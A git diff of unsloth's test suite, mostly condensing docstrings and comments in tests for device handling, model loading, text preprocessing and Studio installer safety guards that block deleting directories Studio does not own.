-            # Tensors must live on state.device or the debug-mode device
-            # check fails on GPU machines.
+            # Mixed payload: real tensor gets gathered, EmptyLogits passes through.
+            # Tensor must live on state.device or debug-mode device check fails on GPUs.
             real_tensor = torch.tensor([42], device = state.device)
             payload = {"labels": real_tensor, "logits": e}
             res_mixed = acc_ops.gather(payload)
 
             assert isinstance(res_mixed, dict)
             assert res_mixed["logits"] is e
-            # Since num_processes = 2, it should be gathered to [42, 42]
+            # num_processes = 2 -> gathered to [42, 42]
             assert torch.equal(res_mixed["labels"], torch.tensor([42, 42], device = state.device))
 
-            # 4. Broadcast with EmptyLogits
+            # Broadcast with EmptyLogits
             res_broadcast = acc_ops.broadcast(e)
             assert res_broadcast is e
 
-            # 5. Mixed payload with broadcast
+            # Mixed payload broadcast
             res_broadcast_mixed = acc_ops.broadcast(payload)
             assert isinstance(res_broadcast_mixed, dict)
             assert res_broadcast_mixed["logits"] is e
@@ -722,13 +687,12 @@ def test_accelerate_find_device_skips_empty_logits():
 
     patch_accelerate_recursively_apply()
     tensor = torch.tensor([1.0])
-    # Sentinel first must not stop the search before the real tensor
+    # Leading sentinel must not stop the search before the real tensor
     assert acc_ops.find_device({"logits": EmptyLogits(), "labels": tensor}) == tensor.device
-    # Tensor-free payloads without the sentinel keep returning None
-    # (AlignDevicesHook relies on None to skip output device moves)
+    # Tensor-free payloads keep returning None (AlignDevicesHook needs it to skip moves)
     assert acc_ops.find_device({"a": 1}) is None
-    # Sentinel-only payloads fall back to the current device so that
-    # debug mode find_device(...).type does not raise AttributeError
+    # Sentinel-only payloads fall back to current device so debug-mode
+    # find_device(...).type doesn't raise AttributeError
     assert acc_ops.find_device(EmptyLogits()) == PartialState().device
 
 
@@ -750,10 +714,8 @@ def test_accelerate_patch_wired_into_gpu_init():
 
 
 def test_bitsandbytes_rocm_detection_helpers_recognizable():
-    """``fix_bitsandbytes_rocm_arch_detection`` swaps bnb's ROCm helpers
-    only when they shell out via subprocess and never consult torch device
-    props; a third shape is declined by design, silently restoring Windows
-    ROCm noise. Fail so the sniff gets updated. Reads source, no import."""
+    """``fix_bitsandbytes_rocm_arch_detection``: the source sniff only patches
+    bnb's ROCm helpers in recognized shapes; fail (don't import) when it drifts."""
     spec = importlib.util.find_spec("bitsandbytes")
     if spec is None:
         pytest.skip("bitsandbytes not installed -- nothing to drift-check.")
diff --git a/tests/test_loader_glob_skip.py b/tests/test_loader_glob_skip.py
index f26f71271c..ade9e89fde 100644
--- a/tests/test_loader_glob_skip.py
+++ b/tests/test_loader_glob_skip.py
@@ -1,10 +1,4 @@
-"""Tests that HfFileSystem().glob() is skipped when is_model or is_peft is False.
-
-The glob calls in FastLanguageModel.from_pretrained and FastModel.from_pretrained
-exist solely to detect repos with both config.json and adapter_config.json. When
-either AutoConfig or PeftConfig fails to load, the glob cannot find both files,
-so calling it is redundant and risks hanging on slow networks.
-"""
+"""HfFileSystem().glob() is skipped when is_model or is_peft is False (redundant, risks hanging on slow networks)."""
 
 import os
 import unittest
@@ -12,7 +6,7 @@ from unittest.mock import MagicMock, patch
 
 
 class TestGlobSkippedWhenNotBothConfigs(unittest.TestCase):
-    """Verify HfFileSystem.glob is not called when is_model or is_peft is False."""
+    """glob is not called when is_model or is_peft is False."""
 
     def _run_both_exist_block(
         self,
@@ -22,11 +16,7 @@ class TestGlobSkippedWhenNotBothConfigs(unittest.TestCase):
         model_name,
         is_local_dir = False,
     ):
-        """Simulate the both_exist detection block from loader.py.
-
-        This mirrors the exact logic at lines 500-517 / 1276-1292 of loader.py.
-        Returns (both_exist, glob_called).
-        """
+        """Mirror loader.py's both_exist detection block; returns (both_exist, glob_called)."""
         from unittest.mock import MagicMock
 
         both_exist = (is_model and is_peft) and not supports_llama32
@@ -37,10 +27,9 @@ class TestGlobSkippedWhenNotBothConfigs(unittest.TestCase):
             ]
         )
 
-        # This mirrors the guarded block in loader.py
         if supports_llama32 and is_model and is_peft:
             if is_local_dir:
-                # Local path branch — would use os.path.exists in real code
+                # Local path branch (os.path.exists in real code)
                 both_exist = True  # simulate both files present locally
             else:
                 files = glob_mock(f"{model_name}/*.json")
@@ -90,7 +79,7 @@ class TestGlobSkippedWhenNotBothConfigs(unittest.TestCase):
             model_name = "org/some-model",
         )
         self.assertFalse(glob_called, "glob should not be called when SUPPORTS_LLAMA32=False")
-        # both_exist is set by the old-style check: (is_model and is_peft) and not SUPPORTS_LLAMA32
+        # both_exist set by the old-style check: (is_model and is_peft) and not SUPPORTS_LLAMA32
         self.assertTrue(both_exist)
 
     # --- Cases where glob SHOULD be called ---
@@ -120,17 +109,16 @@ class TestGlobSkippedWhenNotBothConfigs(unittest.TestCase):
 
 
 class TestLoaderSourceHasGuard(unittest.TestCase):
-    """Verify the actual loader.py source code has the is_model/is_peft guard."""
+    """The actual loader.py source has the is_model/is_peft guard."""
 
     def test_loader_source_has_guard(self):
-        """Check that both SUPPORTS_LLAMA32 checks in loader.py include is_model and is_peft."""
+        """Both SUPPORTS_LLAMA32 checks in loader.py include is_model and is_peft."""
         loader_path = os.path.join(
             os.path.dirname(__file__), os.pardir, "unsloth", "models", "loader.py"
         )
         with open(loader_path) as f:
             source = f.read()
 
-        # Find all lines with the SUPPORTS_LLAMA32 check near glob usage
         lines = source.splitlines()
         guard_lines = [
             line.strip()
diff --git a/tests/test_model_registry.py b/tests/test_model_registry.py
index bbcfdd8aa9..283b099107 100644
--- a/tests/test_model_registry.py
+++ b/tests/test_model_registry.py
@@ -1,8 +1,4 @@
-"""Test model registration methods.
-
-Registers each model set and checks the registered model ids exist on the
-Hugging Face Hub.
-"""
+"""Register each model set and check the registered ids exist on the HF Hub."""
 
 from dataclasses import dataclass
 
@@ -58,7 +54,6 @@ TestParams = [
 ]
 
 
-# Test that model registration methods register respective models
 @pytest.mark.parametrize("model_test_param", TestParams, ids = lambda param: param.name)
 def test_model_registration(model_test_param: ModelTestParam):
     MODEL_REGISTRY.clear()
@@ -77,8 +72,7 @@ def test_all_model_registration():
 
 
 def test_quant_type():
-    # Test that the quant_type is correctly set for model paths
-    # NOTE: for models registered under org="unsloth" with QuantType.NONE aliases QuantType.UNSLOTH
+    # NOTE: for org="unsloth" models, QuantType.NONE aliases QuantType.UNSLOTH
     dynamic_quant_models = search_models(quant_types = [QuantType.UNSLOTH])
     assert all(m.quant_type == QuantType.UNSLOTH for m in dynamic_quant_models)
     quant_tag = QUANT_TAG_MAP[QuantType.UNSLOTH]
diff --git a/tests/test_multi_image_grpo_chunking.py b/tests/test_multi_image_grpo_chunking.py
index ccd10f905a..ea142ce1ef 100644
--- a/tests/test_multi_image_grpo_chunking.py
+++ b/tests/test_multi_image_grpo_chunking.py
@@ -1,5 +1,5 @@
-"""Static + behavioral checks for the multi-image GRPO chunking and
-zoo compatibility guard in unsloth/models/rl_replacements.py."""
+"""Static + behavioral checks for multi-image GRPO chunking and the zoo
+compatibility guard in unsloth/models/rl_replacements.py."""
 
 from __future__ import annotations
 
diff --git a/tests/test_nvfp4_quant_load.py b/tests/test_nvfp4_quant_load.py
index 988fae5c97..b7cbcde88c 100644
--- a/tests/test_nvfp4_quant_load.py
+++ b/tests/test_nvfp4_quant_load.py
@@ -12,19 +12,13 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-"""
-Test cases for NVFP4 / compressed-tensors model loading.
-Ensures that models with non-bitsandbytes quantization configs
-don't conflict with Unsloth's default load_in_4bit=True behavior.
-
-Uses synthetic config objects (no network access) so this suite
-runs offline in CI where tests/security/conftest.py blocks socket
-connections.
+"""NVFP4 / compressed-tensors loading: non-bitsandbytes quant configs must not conflict with
+load_in_4bit=True. Uses synthetic configs (no network) so it runs offline in CI.
 """
 
 from types import SimpleNamespace
 
-# Import unsloth first to set UNSLOTH_IS_PRESENT env var
+# Import unsloth first to set UNSLOTH_IS_PRESENT env var.
 import unsloth
 from unsloth_zoo.utils import get_quant_type
 from unsloth.models.loader_utils import check_and_disable_bitsandbytes_loading
diff --git a/tests/test_public_api_surface.py b/tests/test_public_api_surface.py
index 140fda99f5..264ef64088 100644
--- a/tests/test_public_api_surface.py
+++ b/tests/test_public_api_surface.py
@@ -11,12 +11,8 @@
 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 # GNU Lesser General Public License for more details.
 
-"""Public-API surface drift detectors for unsloth itself.
-
-Companion to tests/test_import_fixes_drift.py (which catches THIRD-PARTY drift):
-this catches drift in unsloth's OWN public surface -- the top symbols and
-classmethods the unslothai/notebooks tree calls -- so a rename or dropped kwarg
-fires DRIFT DETECTED here before it reaches users.
+"""Drift detectors for unsloth's OWN public surface (top symbols/classmethods the
+unslothai/notebooks tree calls), so a rename or dropped kwarg fires DRIFT DETECTED here.
 
 Call-site counts measured against unslothai/notebooks @ main:
   FastLanguageModel.from_pretrained   506
@@ -28,10 +24,6 @@ Call-site counts measured against unslothai/notebooks @ main:
   FastVisionModel.for_training         60
   FastModel.from_pretrained           103
   FastModel.get_peft_model             67
-
-Mirrors the drift-detector skeleton: gate on ``pytest.importorskip("unsloth")``,
-assert the healthy shape, and ``pytest.fail("DRIFT DETECTED: ...")`` (never skip)
-on regression so the matrix cell goes red.
 """
 
 from __future__ import annotations
@@ -50,9 +42,7 @@ def _signature_param_names(callable_obj) -> set[str]:
 
 
 def _accepts(callable_obj, kwargs: set[str]) -> tuple[bool, set[str]]:
-    """True if every name in ``kwargs`` is either a named parameter on
-    ``callable_obj`` OR the callable's signature has a ``**kwargs``
-    catch-all. Returns (ok, missing_set)."""
+    """(ok, missing): True if every kwarg is a named param or the signature has **kwargs."""
     try:
         sig = inspect.signature(callable_obj)
     except (TypeError, ValueError):
@@ -65,8 +55,7 @@ def _accepts(callable_obj, kwargs: set[str]) -> tuple[bool, set[str]]:
     return (not missing), missing
 
 
-# FastLanguageModel: headline class (506 from_pretrained + 370 for_inference +
-# 304 get_peft_model call sites).
+# FastLanguageModel: headline class.
 
 
 def test_fast_language_model_class_present():
@@ -119,7 +108,7 @@ def test_fast_language_model_for_inference_callable():
         )
 
 
-# FastVisionModel: 183 + 176 + 99 + 60 call sites across vision notebooks.
+# FastVisionModel.
 
 
 def test_fast_vision_model_class_and_methods():
@@ -156,7 +145,7 @@ def test_fast_vision_model_get_peft_model_vision_kwargs():
         )
 
 
-# FastModel: modern unified entry point. 103 + 67 call sites.
+# FastModel: modern unified entry point.
 
 
 def test_fast_model_class_and_methods():
@@ -190,8 +179,7 @@ def test_fast_model_from_pretrained_kwargs():
 
 
 def test_is_bf16_supported_or_alias_callable():
-    """48 notebook import sites for is_bf16_supported plus 8 for the
-    legacy is_bfloat16_supported alias. Either must remain importable."""
+    """is_bf16_supported or the legacy is_bfloat16_supported alias must remain importable."""
     unsloth = pytest.importorskip("unsloth")
     has_new = callable(getattr(unsloth, "is_bf16_supported", None))
     has_old = callable(getattr(unsloth, "is_bfloat16_supported", None))
diff --git a/tests/test_raw_text.py b/tests/test_raw_text.py
index b930e7ab31..d7f6c317fe 100644
--- a/tests/test_raw_text.py
+++ b/tests/test_raw_text.py
@@ -1,8 +1,5 @@
 #!/usr/bin/env python3
-"""
-Minimal test for raw text training implementation.
-Tests basic functionality without heavy dependencies.
-"""
+"""Minimal test for raw text training, without heavy dependencies."""
 
 import sys
 import os
@@ -11,7 +8,7 @@ from pathlib import Path
 import importlib.util
 
 
-# Mock the datasets module since it's not installed
+# Mock the datasets module (not installed).
 class MockDataset:
     def __init__(self, data_dict):
         self.data = data_dict
@@ -22,10 +19,10 @@ class MockDataset:
 
     def __getitem__(self, idx):
         if isinstance(idx, str):
-            # Access columns by name, e.g. dataset['text']
+            # Column access, e.g. dataset['text'].
             return self.data[idx]
         elif isinstance(idx, int):
-            # Access individual rows by index
+            # Row access by index.
             return {key: values[idx] for key, values in self.data.items()}
         else:
             raise TypeError(f"Invalid index type: {type(idx)}")
@@ -35,15 +32,14 @@ class MockDataset:
         return cls(data_dict)
 
 
-# Mock datasets module. __spec__ must be set so importlib.util.find_spec
-# does not raise ValueError when transformers' import_utils probes for
-# the real `datasets` package later in the test session.
+# __spec__ must be set so importlib.util.find_spec doesn't raise ValueError when
+# transformers' import_utils later probes for the real `datasets` package.
 datasets_mock = type(sys)("datasets")
 datasets_mock.__spec__ = importlib.util.spec_from_loader("datasets", loader = None)
 datasets_mock.Dataset = MockDataset
 sys.modules["datasets"] = datasets_mock
 
-# Import the raw_text module directly to avoid unsloth/__init__.py dependencies
+# Import raw_text directly to avoid unsloth/__init__.py dependencies.
 current_dir = os.path.dirname(__file__)
 raw_text_path = os.path.join(os.path.dirname(current_dir), "unsloth", "dataprep", "raw_text.py")
 
@@ -58,11 +54,10 @@ TextPreprocessor = raw_text_module.TextPreprocessor
 def test_raw_text_loader():
     """Test basic RawTextDataLoader functionality."""
 
-    # Mock tokenizer for testing
     class MockTokenizer:
         def __init__(self):
             self.eos_token = "</s>"
-            self.eos_token_id = 2  # Mock EOS token ID
+            self.eos_token_id = 2
 
         def __call__(
             self,
@@ -74,7 +69,7 @@ def test_raw_text_loader():
             token_ids = list(range(len(words)))
 
             if return_tensors == "pt":
-                # Mock tensor-like object
+
                 class MockTensor:
                     def __init__(self, data):
                         self.data = data
@@ -98,23 +93,21 @@ def test_raw_text_loader():
         ):
             return " ".join([f"word_{i}" for i in token_ids])
 
-    # Create test file
     test_content = "This is a test file for raw text training. " * 10
     with tempfile.NamedTemporaryFile(mode = "w", suffix = ".txt", delete = False) as f:
         f.write(test_content)
         test_file = f.name
 
     try:
-        # Test loader
         tokenizer = MockTokenizer()
         loader = RawTextDataLoader(tokenizer, chunk_size = 5, stride = 2)
 
-        # Test loading with text output (legacy mode)
+        # Text output (legacy mode).
         text_dataset = loader.load_from_file(test_file, return_tokenized = False)
         assert len(text_dataset) > 0, "Should create at least one chunk"
         assert "text" in text_dataset.column_names, "Dataset should have 'text' column"
 
-        # Test loading with tokenized output (new efficient mode)
+        # Tokenized output (new efficient mode).
         tokenized_dataset = loader.load_from_file(test_file, return_tokenized = True)
         assert len(tokenized_dataset) > 0, "Should create at least one tokenized chunk"
         assert (
@@ -124,7 +117,6 @@ def test_raw_text_loader():
             "attention_mask" in tokenized_dataset.column_names
         ), "Dataset should have 'attention_mask' column"
 
-        # Verify tokenized data structure
         first_sample = tokenized_dataset[0]
         assert isinstance(first_sample["input_ids"], list), "input_ids should be a list"
         assert isinstance(first_sample["attention_mask"], list), "attention_mask should be a list"
@@ -132,11 +124,11 @@ def test_raw_text_loader():
             first_sample["attention_mask"]
         ), "input_ids and attention_mask should have same length"
 
-        # Verify labels field exists (for causal LM training)
+        # labels field (for causal LM training).
         assert "labels" in tokenized_dataset.column_names, "Dataset should have 'labels' column"
         assert first_sample["labels"] == first_sample["input_ids"], "labels should match input_ids"
 
-        # Test constructor validation
+        # Constructor validation.
         try:
             bad_loader = RawTextDataLoader(tokenizer, chunk_size = 0, stride = 2)
             assert False, "Should raise ValueError for chunk_size=0"
@@ -149,7 +141,7 @@ def test_raw_text_loader():
         except ValueError as e:
             assert "stride" in str(e) and "chunk_size" in str(e)
 
-        # Test preprocessor
+        # Preprocessor.
         preprocessor = TextPreprocessor()
         clean_text = preprocessor.clean_text("  messy   text  \n\n\n  ")
         assert "messy text" in clean_text, "Should clean text properly"
@@ -158,10 +150,8 @@ def test_raw_text_loader():
             paragraph_text == "Line 1\n\nLine 2"
         ), "Should preserve paragraph breaks while normalizing newlines"
 
-        # Non-ASCII horizontal whitespace separators (NBSP, thin space,
-        # ideographic space, narrow NBSP, em space, vertical tab, form feed)
-        # should be normalized to a single ASCII space, not deleted, otherwise
-        # adjacent words get silently fused together on HTML/PDF/OCR inputs.
+        # Non-ASCII horizontal whitespace (NBSP, thin/em/ideographic space, VT, FF) must
+        # normalize to one ASCII space, not be deleted, or adjacent words fuse on HTML/PDF/OCR input.
         unicode_whitespace_cases = [
             ("hello\u00a0world", "hello world"),
             ("hello\u202fworld", "hello world"),
@@ -176,38 +166,32 @@ def test_raw_text_loader():
                 f"Should normalize Unicode/control whitespace to a single space " f"for {raw!r}"
             )
 
-        # Mixed paragraph + Unicode whitespace realistic input
+        # Mixed paragraph + Unicode whitespace.
         mixed = preprocessor.clean_text("Section\u00a01\r\n\r\nBody\ftext\u202fhere")
         assert (
             mixed == "Section 1\n\nBody text here"
         ), "Should preserve paragraph breaks and normalize Unicode whitespace simultaneously"
 
-        # Tabs should collapse to a single space
+        # Tabs collapse to a single space.
         assert preprocessor.clean_text("a\tb") == "a b"
         assert preprocessor.clean_text("a\t\tb") == "a b"
 
-        # Spaces around newlines should be trimmed on both sides, even with
-        # multiple consecutive newlines
+        # Spaces around newlines trimmed on both sides, even across multiple newlines.
         assert preprocessor.clean_text("foo \n\n bar") == "foo\n\nbar"
 
-        # Non-whitespace non-ASCII characters sitting between spaces should
-        # not leave an interior double space after being stripped. This
-        # guards the idempotence invariant too: without the extra collapse
-        # pass, "word1 (c) word2" first reduces to "word1  word2" and only
-        # becomes "word1 word2" on a second call.
+        # Stripping a non-ASCII char between spaces must not leave a double space
+        # (also guards idempotence: otherwise "word1 (c) word2" needs a second pass).
         assert preprocessor.clean_text("word1 \u00a9 word2") == "word1 word2"
         assert preprocessor.clean_text("a \u00e9 b") == "a b"
         assert preprocessor.clean_text("prefix \U0001f600 suffix") == "prefix suffix"
 
-        # Stripping a non-ASCII character adjacent to a newline must not
-        # leave a stray leading/trailing space on the neighbouring line.
+        # Stripping a non-ASCII char adjacent to a newline must not leave a stray space.
         assert preprocessor.clean_text("foo \u00e9\nbar") == "foo\nbar"
         assert preprocessor.clean_text("foo\n\u00e9 bar") == "foo\nbar"
-        # The double-space collapse pass must not swallow a legitimate
-        # paragraph break when a non-ASCII char sits near it.
+        # The double-space collapse must not swallow a paragraph break near a non-ASCII char.
         assert preprocessor.clean_text("a \u00a9\n\nb") == "a\n\nb"
 
-        # Idempotence: running clean_text twice should give the same result
+        # Idempotence: clean_text twice == once.
         idempotent_inputs = [
             "  messy   text  \n\n\n  ",
             "Line 1\r\n\r\n\r\nLine 2",
@@ -221,7 +205,7 @@ def test_raw_text_loader():
             twice = preprocessor.clean_text(once)
             assert once == twice, f"clean_text should be idempotent for {raw!r}"
 
-        # Test validation
+        # Validation.
         stats = preprocessor.validate_dataset(text_dataset)
         assert stats["total_samples"] > 0, "Should count samples"
         assert "warnings" in stats, "Should include warnings"
@@ -234,7 +218,6 @@ def test_raw_text_loader():
         return False
 
     finally:
-        # Cleanup
         os.unlink(test_file)
 
 
diff --git a/tests/test_studio_install_workspace_guard.py b/tests/test_studio_install_workspace_guard.py
index 27035b522d..68c1a2db50 100644
--- a/tests/test_studio_install_workspace_guard.py
+++ b/tests/test_studio_install_workspace_guard.py
@@ -1,8 +1,4 @@
-"""install.sh / install.ps1 must refuse to rm -rf an existing
-$STUDIO_HOME/unsloth_studio in env-override mode unless the directory
-carries a Studio sentinel (share/studio.conf or bin/unsloth). Also
-asserts studio/setup.ps1 has the matching writability probe that
-setup.sh:417 already performs."""
+"""install.sh/install.ps1 must refuse to rm -rf an existing Studio venv in env-mode without a sentinel."""
 
 from __future__ import annotations
 
@@ -16,10 +12,8 @@ INSTALL_PS1 = REPO_ROOT / "install.ps1"
 SETUP_PS1 = REPO_ROOT / "studio" / "setup.ps1"
 SETUP_SH = REPO_ROOT / "studio" / "setup.sh"
 
-# Stubs for helpers the extracted install.sh guard block calls (`substep`,
-# `_start_studio_venv_replacement`). Tests run the block in isolation, so a
-# minimal `mv`-based replacement reproduces the observable effect (venv gone
-# from $VENV_DIR after permitted cleanup) without the full rollback machinery.
+# Stubs for helpers the extracted guard block calls; mv-based replacement reproduces the venv-gone
+# effect without the full rollback machinery.
 _INSTALL_GUARD_STUBS = (
     "substep() { :; }\n"
     "_start_studio_venv_replacement() {\n"
@@ -29,9 +23,7 @@ _INSTALL_GUARD_STUBS = (
 
 
 def _extract_install_sh_guard_block() -> str:
-    """Pull the `if [ -x "$VENV_DIR/bin/python" ]; then ... fi` block out
-    of install.sh as a self-contained snippet. Stops at the first elif so
-    the block can be paired with a synthetic else and run in isolation."""
+    """Extract install.sh's venv guard block (up to the first elif) as a self-contained snippet."""
     src = INSTALL_SH.read_text()
     m = re.search(
         r'(if \[ -x "\$VENV_DIR/bin/python" \]; then\n.*?)elif \[ "\$_STUDIO_HOME_REDIRECT" != "env"',
@@ -47,9 +39,7 @@ def _build_install_guard_script(
     redirect: str,
     block: str | None = None,
 ) -> str:
-    """Build a self-contained bash script that exercises the extracted
-    guard block. Includes stubs for substep / _start_studio_venv_replacement
-    so the snippet runs without install.sh's full rollback machinery."""
+    """Build a self-contained bash script exercising the extracted guard block (with helper stubs)."""
     if block is None:
         block = _extract_install_sh_guard_block()
     return (
@@ -153,10 +143,7 @@ def test_setup_ps1_has_writability_probe():
 
 
 def test_env_mode_blocks_when_bin_unsloth_is_a_directory(tmp_path):
-    """A bare directory at $STUDIO_HOME/bin/unsloth must NOT pass the
-    sentinel. The previous `-e` test accepted any path type, allowing an
-    unrelated workspace with sibling content under unsloth_studio plus
-    a directory at bin/unsloth to be wiped."""
+    """A bare directory at bin/unsloth must NOT pass the sentinel (regression: `-e` accepted any type)."""
     studio_home = tmp_path / "ws"
     venv = studio_home / "unsloth_studio"
     (venv / "bin").mkdir(parents = True)
@@ -180,8 +167,7 @@ def test_env_mode_blocks_when_bin_unsloth_is_a_directory(tmp_path):
 
 
 def test_env_mode_passes_when_bin_unsloth_is_a_symlink(tmp_path):
-    """A symlink at $STUDIO_HOME/bin/unsloth (real installer artefact)
-    must still satisfy the sentinel after the leaf-only tightening."""
+    """A symlink at bin/unsloth (real installer artefact) must still satisfy the sentinel."""
     studio_home = tmp_path / "ws"
     venv = studio_home / "unsloth_studio"
     (venv / "bin").mkdir(parents = True)
@@ -206,8 +192,7 @@ def test_env_mode_passes_when_bin_unsloth_is_a_symlink(tmp_path):
 
 
 def test_install_ps1_sentinel_uses_pathtype_leaf():
-    """The Test-Path checks that gate Remove-Item $VenvDir must use
-    -PathType Leaf so a directory at the sentinel path cannot satisfy them."""
+    """Remove-Item $VenvDir gate must use -PathType Leaf so a sentinel-path directory cannot satisfy it."""
     src = INSTALL_PS1.read_text()
     block_start = src.index("if (Test-Path -LiteralPath $VenvPython)")
     block = src[block_start : block_start + 2000]
@@ -220,10 +205,7 @@ def test_install_ps1_sentinel_uses_pathtype_leaf():
 
 
 def test_setup_ps1_stale_venv_has_env_mode_guard():
-    """studio/setup.ps1 stale-venv rebuild branch must mirror install.ps1:
-    refuse to Remove-Item $VenvDir under custom-root mode unless the root
-    carries a Studio sentinel (in-VENV marker, share\\studio.conf, or
-    bin\\unsloth.exe leaf)."""
+    """setup.ps1 stale-venv branch must gate Remove-Item $VenvDir on a custom-root Studio sentinel."""
     src = SETUP_PS1.read_text()
     idx = src.index("Stale venv detected")
     block = src[idx : idx + 1500]
@@ -243,10 +225,7 @@ def test_setup_ps1_stale_venv_has_env_mode_guard():
 
 
 def test_setup_sh_prebuilt_llama_cpp_has_ownership_guard():
-    """studio/setup.sh prebuilt llama.cpp path must call
-    _assert_studio_owned_or_absent before invoking install_llama_prebuilt.py
-    so an unrelated $UNSLOTH_STUDIO_HOME/llama.cpp is not displaced by
-    the helper's os.replace()."""
+    """setup.sh prebuilt llama.cpp path must _assert_studio_owned_or_absent before install_llama_prebuilt.py."""
     src = SETUP_SH.read_text()
     idx = src.index("installing prebuilt llama.cpp...")
     block = src[idx : idx + 2000]
@@ -260,8 +239,7 @@ def test_setup_sh_prebuilt_llama_cpp_has_ownership_guard():
 
 
 def test_setup_ps1_prebuilt_llama_cpp_has_ownership_guard():
-    """Mirror check for studio/setup.ps1: prebuilt llama.cpp path must
-    call Assert-StudioOwnedOrAbsent before invoking install_llama_prebuilt.py."""
+    """setup.ps1 prebuilt llama.cpp path must Assert-StudioOwnedOrAbsent before install_llama_prebuilt.py."""
     src = SETUP_PS1.read_text()
     idx = src.index("installing prebuilt llama.cpp bundle (preferred path)")
     block = src[idx : idx + 2000]
@@ -277,10 +255,7 @@ def test_setup_ps1_prebuilt_llama_cpp_has_ownership_guard():
 
 
 def test_env_mode_passes_when_venv_marker_present(tmp_path):
-    """install.sh env-mode guard must accept the in-VENV
-    .unsloth-studio-owned marker as a primary sentinel so a partial
-    install (uv venv created, sentinels not yet written) is recoverable
-    by re-running install.sh."""
+    """install.sh env-mode guard must accept the in-VENV .unsloth-studio-owned marker as a sentinel."""
     studio_home = tmp_path / "ws"
     res = _run_install_guard(studio_home, redirect = "env", create_venv_marker = True)
     assert res.returncode == 0, (
@@ -291,11 +266,7 @@ def test_env_mode_passes_when_venv_marker_present(tmp_path):
 
 
 def test_env_mode_blocks_when_bin_unsloth_is_symlink_to_directory(tmp_path):
-    """install.sh env-mode guard must NOT accept a symlink-to-directory at
-    bin/unsloth as a Studio sentinel. Iter1's standalone -L test let any
-    symlink (including symlinks to dirs and broken symlinks) bypass the
-    guard; iter2 dropped that test so only -f (file or symlink-to-file)
-    counts."""
+    """install.sh guard must reject a symlink-to-directory at bin/unsloth; only -f (file/symlink-to-file) counts."""
     studio_home = tmp_path / "ws"
     venv = studio_home / "unsloth_studio"
     (venv / "bin").mkdir(parents = True)
@@ -347,9 +318,7 @@ def test_env_mode_blocks_when_bin_unsloth_is_broken_symlink(tmp_path):
 
 
 def test_install_sh_writes_venv_marker_after_uv_venv():
-    """install.sh must write the .unsloth-studio-owned marker into
-    $VENV_DIR right after `uv venv` succeeds so the env-mode deletion
-    guard accepts it on the next install run."""
+    """install.sh must write .unsloth-studio-owned into $VENV_DIR right after `uv venv` succeeds."""
     src = INSTALL_SH.read_text()
     create_idx = src.index('run_install_cmd "create venv" uv venv "$VENV_DIR"')
     tail = src[create_idx : create_idx + 600]
@@ -359,8 +328,7 @@ def test_install_sh_writes_venv_marker_after_uv_venv():
 
 
 def test_install_ps1_writes_venv_marker_after_uv_venv():
-    """install.ps1 must write the .unsloth-studio-owned marker into
-    $VenvDir after `uv venv` succeeds."""
+    """install.ps1 must write .unsloth-studio-owned into $VenvDir after `uv venv` succeeds."""
     src = INSTALL_PS1.read_text()
     venv_create = src.index("uv venv $VenvDir --python")
     tail = src[venv_create : venv_create + 1500]
@@ -370,8 +338,7 @@ def test_install_ps1_writes_venv_marker_after_uv_venv():
 
 
 def test_install_ps1_guard_accepts_venv_marker():
-    """install.ps1 env-mode guard must accept the in-VENV
-    .unsloth-studio-owned marker as a primary sentinel."""
+    """install.ps1 env-mode guard must accept the in-VENV .unsloth-studio-owned marker as a sentinel."""
     src = INSTALL_PS1.read_text()
     block_start = src.index("if (Test-Path -LiteralPath $VenvPython)")
     block = src[block_start : block_start + 2000]
@@ -381,11 +348,7 @@ def test_install_ps1_guard_accepts_venv_marker():
 
 
 def test_setup_helpers_gate_on_canonical_custom_root():
-    """Both _assert_studio_owned_or_absent (setup.sh) and
-    Assert-StudioOwnedOrAbsent (setup.ps1) must gate on a canonical
-    custom-vs-legacy comparison so an explicit override that resolves
-    to the legacy default does not trip the guard for pre-PR T5
-    sidecar venvs or llama.cpp dirs."""
+    """setup.sh/setup.ps1 ownership guards must gate on a canonical custom-vs-legacy root comparison."""
     sh_src = SETUP_SH.read_text()
     sh_idx = sh_src.index("_assert_studio_owned_or_absent() {")
     sh_func = sh_src[sh_idx : sh_idx + 600]
@@ -410,9 +373,7 @@ def test_setup_helpers_gate_on_canonical_custom_root():
 
 
 def test_setup_ps1_inplace_git_sync_marks_studio_owned():
-    """setup.ps1 in-place git-sync branch (when $LlamaCppDir/.git exists)
-    must call Mark-StudioOwned after a successful sync so a later prebuilt
-    update path's Assert-StudioOwnedOrAbsent does not exit."""
+    """setup.ps1 in-place git-sync branch must Mark-StudioOwned after a successful sync."""
     src = SETUP_PS1.read_text()
     inplace_idx = src.index('Test-Path -LiteralPath (Join-Path $LlamaCppDir ".git")')
     # The in-place branch ends just before the temp-dir clone branch.
@@ -427,10 +388,7 @@ def test_setup_ps1_inplace_git_sync_marks_studio_owned():
 
 
 def test_setup_ps1_inplace_git_sync_asserts_studio_owned_before_mutation():
-    """setup.ps1 in-place git-sync branch must call Assert-StudioOwnedOrAbsent
-    BEFORE any destructive git operation (remote set-url, checkout -B, clean
-    -fdx). Asymmetric to the prebuilt path and the temp-dir-swap path which
-    both guard."""
+    """setup.ps1 in-place git-sync must Assert-StudioOwnedOrAbsent before any destructive git op."""
     src = SETUP_PS1.read_text()
     inplace_idx = src.index('Test-Path -LiteralPath (Join-Path $LlamaCppDir ".git")')
     clone_idx = src.index("Cloning llama.cpp @", inplace_idx)
@@ -473,8 +431,7 @@ def _run_check_health(expected_root_id: str, response_json: str) -> int:
 
 
 def test_check_health_accepts_matching_studio_root_id():
-    """Hex digest baked at install time matches the backend's
-    /api/health studio_root_id -- launcher attaches to its own backend."""
+    """Matching baked studio_root_id lets the launcher attach to its own backend."""
     expected_id = "a" * 64
     rc = _run_check_health(
         expected_id,
@@ -484,8 +441,7 @@ def test_check_health_accepts_matching_studio_root_id():
 
 
 def test_check_health_rejects_mismatched_studio_root_id():
-    """Different install root → different sha256 → reject. Workspace
-    isolation: launcher A must not open Studio B running on the same port."""
+    """Mismatched studio_root_id rejects attach (workspace isolation across same-port Studios)."""
     expected_id = "a" * 64
     other_id = "b" * 64
     rc = _run_check_health(
@@ -496,8 +452,7 @@ def test_check_health_rejects_mismatched_studio_root_id():
 
 
 def test_check_health_rejects_missing_studio_root_id_field():
-    """A backend that omits studio_root_id (older or non-conforming) must
-    not be attached to when an expected id is baked into the launcher."""
+    """A backend omitting studio_root_id must not be attached when an expected id is baked in."""
     expected_id = "a" * 64
     rc = _run_check_health(
         expected_id,
